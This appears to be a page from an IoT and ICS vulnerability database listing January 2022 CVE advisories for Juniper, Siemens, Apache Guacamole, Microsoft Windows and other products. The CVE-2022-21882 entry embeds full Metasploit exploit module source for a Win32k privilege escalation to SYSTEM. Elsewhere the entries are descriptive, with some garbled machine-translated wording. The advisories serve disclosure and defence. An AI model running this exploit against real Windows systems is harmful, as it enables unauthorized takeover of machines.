VARIoT IoT vulnerabilities database

Affected products: vendor, model and version
CWE format is 'CWE-number'. Threat type can be: remote or local
Look up free text in title and description

VAR-202201-0630 CVE-2022-22159 Juniper Networks Junos OS  Kernel resource exhaustion vulnerability CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
A vulnerability in the NETISR network queue functionality of Juniper Networks Junos OS kernel allows an attacker to cause a Denial of Service (DoS) by sending crafted genuine packets to a device. During an attack, the routing protocol daemon (rpd) CPU may reach 100% utilization, yet FPC CPUs forwarding traffic will operate normally. This attack occurs when the attackers' packets are sent over an IPv4 unicast routing equal-cost multi-path (ECMP) unilist selection. Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition. An indicator of compromise may be to monitor NETISR drops in the network with the assistance of JTAC. Please contact JTAC for technical support for further guidance. This issue affects: Juniper Networks Junos OS 17.3 version 17.3R3-S9 and later versions prior to 17.3R3-S12; 17.4 version 17.4R3-S3 and later versions prior to 17.4R3-S5; 18.1 version 18.1R3-S11 and later versions prior to 18.1R3-S13; 18.2 version 18.2R3-S6 and later versions; 18.3 version 18.3R3-S4 and later versions prior to 18.3R3-S5; 18.4 version 18.4R3-S5 and later versions prior to 18.4R3-S9; 19.1 version 19.1R3-S3 and later versions prior to 19.1R3-S7. This issue does not affect Juniper Networks Junos OS versions prior to 17.3R3-S9. This issue does not affect Juniper Networks Junos OS Evolved. Juniper Networks Junos OS The kernel contains a resource exhaustion vulnerability.Service operation interruption (DoS) It may be in a state
VAR-202201-0624 CVE-2022-22170 Juniper Networks Junos OS  Vulnerability regarding lack of resource release after valid lifetime in CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
A Missing Release of Resource after Effective Lifetime vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows an unauthenticated networked attacker to cause a Denial of Service (DoS) by sending specific packets over VXLAN which cause heap memory to leak and on exhaustion the PFE to reset. The heap memory utilization can be monitored with the command: user@host> show chassis fpc This issue affects: Juniper Networks Junos OS 19.4 versions prior to 19.4R2-S6, 19.4R3-S6; 20.1 versions prior to 20.1R3-S2; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R3; 21.2 versions prior to 21.2R2. This issue does not affect versions of Junos OS prior to 19.4R1. Juniper Networks Junos OS Contains a vulnerability regarding the lack of resource release after a valid lifetime.Service operation interruption (DoS) It may be in a state
VAR-202201-0626 CVE-2022-22166 Juniper Networks Junos OS  Input verification vulnerability in CVSS V2: 3.3
CVSS V3: 6.5
Severity: MEDIUM
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS allows an unauthenticated networked attacker to cause an rdp crash and thereby a Denial of Service (DoS). If a BGP update message is received over an established BGP session where a BGP SR-TE policy tunnel attribute is malformed and BGP update tracing flag is enabled, the rpd will core. This issue can happen with any BGP session as long as the previous conditions are met. This issue can not propagate as the crash occurs as soon as the malformed update is received. This issue affects Juniper Networks Junos OS: 20.4 versions prior to 20.4R3-S1; 21.1 versions prior to 21.1R2-S2, 21.1R3. This issue does not affect Juniper Networks Junos OS versions prior to 20.4R1
VAR-202201-0623 CVE-2022-22171 Juniper Networks Junos OS  Vulnerability in checking for exceptional conditions in CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
An Improper Check for Unusual or Exceptional Conditions vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows an unauthenticated networked attacker to cause a Denial of Service (DoS) by sending specific packets over VXLAN which cause the PFE to reset. This issue affects: Juniper Networks Junos OS 19.4 versions prior to 19.4R3-S7; 20.1 versions prior to 20.1R3-S3; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S2; 20.4 versions prior to 20.4R3-S1; 21.1 versions prior to 21.1R3; 21.2 versions prior to 21.2R2; 21.3 versions prior to 21.3R1-S1, 21.3R2. This issue does not affect versions of Junos OS prior to 19.4R1. Juniper Networks Junos OS Exists in an exceptional condition check vulnerability.Service operation interruption (DoS) It may be in a state
VAR-202201-0620 CVE-2022-22176 Juniper Networks Junos OS  Input verification vulnerability in CVSS V2: 2.9
CVSS V3: 6.5
Severity: MEDIUM
An Improper Validation of Syntactic Correctness of Input vulnerability in the Juniper DHCP daemon (jdhcpd) of Juniper Networks Junos OS allows an adjacent unauthenticated attacker sending a malformed DHCP packet to cause a crash of jdhcpd and thereby a Denial of Service (DoS). If option-82 is configured in a DHCP snooping / -security scenario, jdhcpd crashes if a specific malformed DHCP request packet is received. The DHCP functionality is impacted while jdhcpd restarts, and continued exploitation of the vulnerability will lead to the unavailability of the DHCP service and thereby a sustained DoS. This issue affects Juniper Networks Junos OS 13.2 version 13.2R1 and later versions prior to 15.1R7-S11; 18.3 versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S10; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S8, 19.2R3-S4; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R3-S6; 20.1 versions prior to 20.1R3-S3; 20.2 versions prior to 20.2R3-S3; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S1, 21.1R3; 21.2 versions prior to 21.2R1-S1, 21.2R2. This issue does not affect Juniper Networks Junos OS version 12.3R12 and prior versions
VAR-202201-0622 CVE-2022-22172 Juniper Networks Junos OS  and  Junos OS Evolved  Vulnerability regarding lack of memory release after expiration in CVSS V2: 3.3
CVSS V3: 6.5
Severity: MEDIUM
A Missing Release of Memory after Effective Lifetime vulnerability in the Layer-2 control protocols daemon (l2cpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a memory leak. Continued exploitation can lead to memory exhaustion and thereby a Denial of Service (DoS). This issue occurs when specific LLDP packets are received. The impact of the l2cpd cores is that if any of the stp protocols (rstp, mstp or vstp) is used then stp re-converges and traffic loss will occur during that time. Also if any services depend on LLDP state (like PoE or VoIP device recognition) then these will also be affected. The memory utilization of the L2CPd process can be monitored with the following command: user@host> show system processes extensive | match l2cpd 1234 root 52 0 521M 43412K RUN 1 4:02 34.47% l2cpd This issue affects: Juniper Networks Junos OS 18.4 version 18.4R2-S4 and later versions prior to 18.4R2-S10. 19.2 versions prior to 19.2R1-S8, 19.2R3-S4; 19.3 versions prior to 19.3R3-S5; 19.4 versions prior to 19.4R3-S7; 20.1 versions prior to 20.1R3-S3; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2-S2, 21.1R3; 21.2 versions prior to 21.2R2; Juniper Networks Junos OS Evolved All versions prior to 20.4R3-S2-EVO; 21.1 version 21.1R1-EVO and later versions; 21.2 versions prior to 21.2R2-EVO. This issue does not affect: Juniper Networks Junos OS 19.1 version 19.1R1 and later versions
VAR-202201-0866 CVE-2021-37197 COMOS  In  SQL  Injection vulnerability CVSS V2: 6.0
CVSS V3: 8.8
Severity: HIGH
A vulnerability has been identified in COMOS V10.2 (All versions only if web components are used), COMOS V10.3 (All versions < V10.3.3.3 only if web components are used), COMOS V10.4 (All versions < V10.4.1 only if web components are used). The COMOS Web component of COMOS is vulnerable to SQL injections. This could allow an attacker to execute arbitrary SQL statements. COMOS for, SQL There is an injection vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state
VAR-202201-0851 CVE-2021-41767 Apache Guacamole  Vulnerability regarding information leakage in CVSS V2: 4.0
CVSS V3: 6.5
Severity: MEDIUM
Apache Guacamole 1.3.0 and older may incorrectly include a private tunnel identifier in the non-private details of some REST responses. This may allow an authenticated user who already has permission to access a particular connection to read from or interact with another user's active use of that same connection. Apache Guacamole There is a vulnerability related to information leakage.Information may be obtained. Apache Guacamole is a clientless remote desktop gateway of the Apache Foundation. The product supports protocols such as VNC, RDP and SSH. No detailed vulnerability details are currently available
VAR-202201-0868 CVE-2021-37198 COMOS  Cross-site request forgery vulnerability in CVSS V2: 5.1
CVSS V3: 8.8
Severity: HIGH
A vulnerability has been identified in COMOS V10.2 (All versions only if web components are used), COMOS V10.3 (All versions < V10.3.3.3 only if web components are used), COMOS V10.4 (All versions < V10.4.1 only if web components are used). The COMOS Web component of COMOS uses a flawed implementation of CSRF prevention. An attacker could exploit this vulnerability to perform cross-site request forgery attacks. COMOS Contains a cross-site request forgery vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Siemens Comos is a plant engineering software solution from Siemens AG in Germany. For the process industry
VAR-202201-0855 CVE-2021-41769 Input validation vulnerability in multiple Siemens products CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
A vulnerability has been identified in SIPROTEC 5 6MD85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 6MD86 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 6MD89 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 6MU85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7KE85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SA82 devices (CPU variant CP100) (All versions < V8.83), SIPROTEC 5 7SA86 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SA87 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SD82 devices (CPU variant CP100) (All versions < V8.83), SIPROTEC 5 7SD86 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SD87 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SJ81 devices (CPU variant CP100) (All versions < V8.83), SIPROTEC 5 7SJ82 devices (CPU variant CP100) (All versions < V8.83), SIPROTEC 5 7SJ85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SJ86 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SK82 devices (CPU variant CP100) (All versions < V8.83), SIPROTEC 5 7SK85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SL82 devices (CPU variant CP100) (All versions < V8.83), SIPROTEC 5 7SL86 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SL87 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SS85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7ST85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7SX85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7UM85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7UT82 devices (CPU variant CP100) (All versions < V8.83), SIPROTEC 5 7UT85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7UT86 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7UT87 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7VE85 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 7VK87 devices (CPU variant CP300) (All versions < V8.83), SIPROTEC 5 Compact 7SX800 devices (CPU variant CP050) (All versions < V8.83). An improper input validation vulnerability in the web server could allow an unauthenticated user to access device information. Multiple Siemens products contain an input validation vulnerability.Information may be obtained. SIPROTEC 5 devices offer a range of functions for integrated protection, control, measurement and automation of substations and other fields of application. An information disclosure vulnerability exists in Siemens SIPROTEC 5, which can be exploited by attackers to read device information
VAR-202201-0869 CVE-2021-37195 COMOS  Cross-site scripting vulnerability in CVSS V2: 2.6
CVSS V3: 6.1
Severity: MEDIUM
A vulnerability has been identified in COMOS V10.2 (All versions only if web components are used), COMOS V10.3 (All versions < V10.3.3.3 only if web components are used), COMOS V10.4 (All versions < V10.4.1 only if web components are used). The COMOS Web component of COMOS accepts arbitrary code as attachment to tasks. This could allow an attacker to inject malicious code that is executed when loading the attachment. COMOS Exists in a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. Siemens Comos is a plant engineering software solution from Siemens AG in Germany. For the process industry
VAR-202201-0774 CVE-2021-45460 SICAM PQ Analyzer  Unquoted Search Path or Element Vulnerability in CVSS V2: 5.5
CVSS V3: 8.1
Severity: HIGH
A vulnerability has been identified in SICAM PQ Analyzer (All versions < V3.18). A service is started by an unquoted registry entry. As there are spaces in this path, attackers with write privilege to those directories might be able to plant executables that will run in place of the legitimate process. Attackers might achieve persistence on the system ("backdoors") or cause a denial of service. SICAM PQ Analyzer contains an unquoted search path or element vulnerability.Information is tampered with and service operation is interrupted (DoS) It may be in a state. SICAM PQ Analyzer is a power quality system software that provides the option of evaluating archived PQ measurement data and fault records
VAR-202201-0777 CVE-2021-45033 Vulnerability related to use of hardcoded credentials in multiple Siemens products CVSS V2: 8.5
CVSS V3: 8.8
Severity: HIGH
A vulnerability has been identified in CP-8000 MASTER MODULE WITH I/O -25/+70°C (All versions < V16.20), CP-8000 MASTER MODULE WITH I/O -40/+70°C (All versions < V16.20), CP-8021 MASTER MODULE (All versions < V16.20), CP-8022 MASTER MODULE WITH GPRS (All versions < V16.20). An undocumented debug port uses hard-coded default credentials. If this port is enabled by a privileged user, an attacker aware of the credentials could access an administrative debug shell on the affected device. Multiple Siemens products are vulnerable to the use of hardcoded credentials.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. SICAM A8000 is an automation application for all areas of remote control and energy supply
VAR-202201-0850 CVE-2021-43999 Apache Guacamole  Authentication vulnerability in CVSS V2: 6.0
CVSS V3: 8.8
Severity: HIGH
Apache Guacamole 1.2.0 and 1.3.0 do not properly validate responses received from a SAML identity provider. If SAML support is enabled, this may allow a malicious user to assume the identity of another Guacamole user. Apache Guacamole There is an authentication vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Apache Guacamole is a clientless remote desktop gateway of the Apache Foundation. The product supports protocols such as VNC, RDP and SSH. No detailed vulnerability details are currently provided
VAR-202201-0778 CVE-2021-45034 Vulnerability related to information leakage from log files in multiple Siemens products CVSS V2: 4.3
CVSS V3: 7.5
Severity: HIGH
A vulnerability has been identified in CP-8000 MASTER MODULE WITH I/O -25/+70°C (All versions < V16.20), CP-8000 MASTER MODULE WITH I/O -40/+70°C (All versions < V16.20), CP-8021 MASTER MODULE (All versions < V16.20), CP-8022 MASTER MODULE WITH GPRS (All versions < V16.20). The web server of the affected system allows access to logfiles and diagnostic data generated by a privileged user. An unauthenticated attacker could access the files by knowing the corresponding download links. Multiple Siemens products contain vulnerabilities related to information disclosure from log files.Information may be obtained. SICAM A8000 is an automation application for all areas of remote control and energy supply. Siemens SICAM A8000 has an access control error vulnerability that could allow attackers to access some previously created log files
VAR-202201-0867 CVE-2021-37196 COMOS  Past traversal vulnerability in CVSS V2: 3.5
CVSS V3: 6.5
Severity: MEDIUM
A vulnerability has been identified in COMOS V10.2 (All versions only if web components are used), COMOS V10.3 (All versions < V10.3.3.3 only if web components are used), COMOS V10.3 (All versions >= V10.3.3.3 only if web components are used), COMOS V10.4 (All versions < V10.4.1 only if web components are used). The COMOS Web component of COMOS unpacks specially crafted archive files to relative paths. This vulnerability could allow an attacker to store files in any folder accessible by the COMOS Web webservice. COMOS Exists in a past traversal vulnerability.Information may be tampered with. Siemens Comos is a plant engineering software solution from Siemens AG in Germany. For the process industry
VAR-202201-0640 CVE-2022-21919 plural  Microsoft Windows  Elevated authority vulnerabilities in products CVSS V2: 6.9
CVSS V3: 7.0
Severity: MEDIUM
Windows User Profile Service Elevation of Privilege Vulnerability. This vulnerability is CVE-2022-21895 Is a different vulnerability.You may be elevated. Microsoft Windows User Profile Service存在缓冲区错误漏洞。以下产品和版本受到影响:Windows 10 Version 1809 for 32-bit Systems,Windows 10 Version 1809 for x64-based Systems,Windows 10 Version 1809 for ARM64-based Systems,Windows Server 2019,Windows Server 2019 (Server Core installation),Windows 10 Version 1909 for 32-bit Systems,Windows 10 Version 1909 for x64-based Systems,Windows 10 Version 1909 for ARM64-based Systems,Windows 10 Version 21H1 for x64-based Systems,Windows 10 Version 21H1 for ARM64-based Systems,Windows 10 Version 21H1 for 32-bit Systems,Windows Server 2022,Windows Server 2022 (Server Core installation),Windows 10 Version 20H2 for x64-based Systems,Windows 10 Version 20H2 for 32-bit Systems,Windows 10 Version 20H2 for ARM64-based Systems,Windows Server, version 20H2 (Server Core Installation),Windows 11 for x64-based Systems,Windows 11 for ARM64-based Systems,Windows 10 Version 21H2 for 32-bit Systems,Windows 10 Version 21H2 for ARM64-based Systems,Windows 10 Version 21H2 for x64-based Systems,Windows 10 for 32-bit Systems,Windows 10 for x64-based Systems,Windows 10 Version 1607 for 32-bit Systems,Windows 10 Version 1607 for x64-based Systems,Windows Server 2008 R2 for x64-based Systems Service Pack 1,Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation),Windows Server 2012,Windows Server 2012 (Server Core installation),Windows Server 2012 R2,Windows Server 2012 R2 (Server Core installation),Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation),Windows Server 2016,Windows Server 2016 (Server Core installation),Windows 7 for 32-bit Systems Service Pack 1,Windows 7 for x64-based Systems Service Pack 1,Windows 8.1 for 32-bit systems,Windows 8.1 for x64-based systems,Windows RT 8.1,Windows Server 2008 for 32-bit Systems Service Pack 2,Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation),Windows Server 2008 for x64-based Systems Service Pack 2
VAR-202201-0580 CVE-2022-21882 plural  Microsoft Windows  Elevated authority vulnerabilities in products CVSS V2: 7.2
CVSS V3: 7.8
Severity: HIGH
Win32k Elevation of Privilege Vulnerability. Microsoft Windows 10 , Windows 11 , Windows Server Has Win32k There is a vulnerability that can elevate privileges due to a flaw in. Microsoft Win32k是美国微软(Microsoft)公司的一个用于Windows多用户管理的系统文件. Microsoft Win32K 存在安全漏洞。以下产品和版本受到影响:Windows 10 Version 21H1 for 32-bit Systems,Windows Server 2022,Windows Server 2022 (Server Core installation),Windows 10 Version 1909 for ARM64-based Systems,Windows 10 Version 20H2 for x64-based Systems,Windows 10 Version 1809 for 32-bit Systems,Windows 10 Version 1809 for x64-based Systems,Windows 10 Version 1809 for ARM64-based Systems,Windows Server 2019,Windows Server 2019 (Server Core installation),Windows 10 Version 1909 for 32-bit Systems,Windows 10 Version 1909 for x64-based Systems,Windows 10 Version 21H1 for x64-based Systems,Windows 10 Version 21H1 for ARM64-based Systems,Windows 10 Version 20H2 for 32-bit Systems,Windows 10 Version 20H2 for ARM64-based Systems,Windows Server, version 20H2 (Server Core Installation),Windows 11 for x64-based Systems,Windows 11 for ARM64-based Systems,Windows 10 Version 21H2 for 32-bit Systems,Windows 10 Version 21H2 for ARM64-based Systems,Windows 10 Version 21H2 for x64-based Systems. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploit/windows/local/cve_2021_1732_win32k' def initialize(info = {}) super( update_info( info, { 'Name' => 'Win32k ConsoleControl Offset Confusion', 'Description' => %q{ A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation. This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to function on a wider range of Windows 10 targets. }, 'License' => MSF_LICENSE, 'Author' => [ # CVE-2021-1732 'BITTER APT', # exploit as used in the wild 'JinQuan', # detailed analysis 'MaDongZe', # detailed analysis 'TuXiaoYi', # detailed analysis 'LiHao', # detailed analysis # CVE-2022-21882 'L4ys', # github poc # both CVEs 'KaLendsi', # github pocs # Metasploit exploit 'Spencer McIntyre' # metasploit module ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ] ], 'Payload' => { 'DisableNops' => true }, 'References' => [ # CVE-2021-1732 references [ 'CVE', '2021-1732' ], [ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ], [ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ], [ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ], [ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ], # the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit [ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ], [ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ], [ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ], [ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ], # CVE-2022-21882 references [ 'CVE', '2022-21882' ], [ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ], [ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ] ], 'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'SideEffects' => [] } } ) ) end def check sysinfo_value = sysinfo['OS'] if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Windows Build Number = #{build_num}") unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044) print_error('The exploit only supports Windows 10 versions 1803 - 21H2') return CheckCode::Safe end CheckCode::Appears end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end encoded_payload = payload.encoded execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'), [encoded_payload.length].pack('I<') + encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end
VAR-202201-1669 CVE-2022-22116 Directus Cross-Site Scripting Vulnerability CVSS V2: 3.5
CVSS V3: 5.4
Severity: LOW
In Directus, versions 9.0.0-alpha.4 through 9.4.1 are vulnerable to stored Cross-Site Scripting (XSS) vulnerability via SVG file upload in media upload functionality. A low privileged attacker can inject arbitrary javascript code which will be executed in a victim’s browser when they open the image URL. Directus Exists in a cross-site scripting vulnerability.Information may be obtained and information may be tampered with. Directus is a real-time API and application dashboard. Used to manage Sql database content
VAR-202201-0460 CVE-2021-38957 IBM Security Verify  Input verification vulnerability in CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
IBM Security Verify 10.0.0, 10.0.1.0, and 10.0.2.0 could disclose sensitive information due to hazardous input validation during QR code generation. IBM X-Force ID: 212040. Vendor exploits this vulnerability IBM X-Force ID: 212040 It is published as.Information may be obtained. The service enables secure and simple access to platforms such as web, mobile, IoT and cloud technologies by using risk-based access, single sign-on, integrated access management controls, identity federation, and mobile multi-factor authentication An input validation error vulnerability exists in IBM Security Verify Access, which originates from an error in the configuration of a network system or product during operation. An unauthorized attacker could exploit the vulnerability to obtain sensitive information about the affected components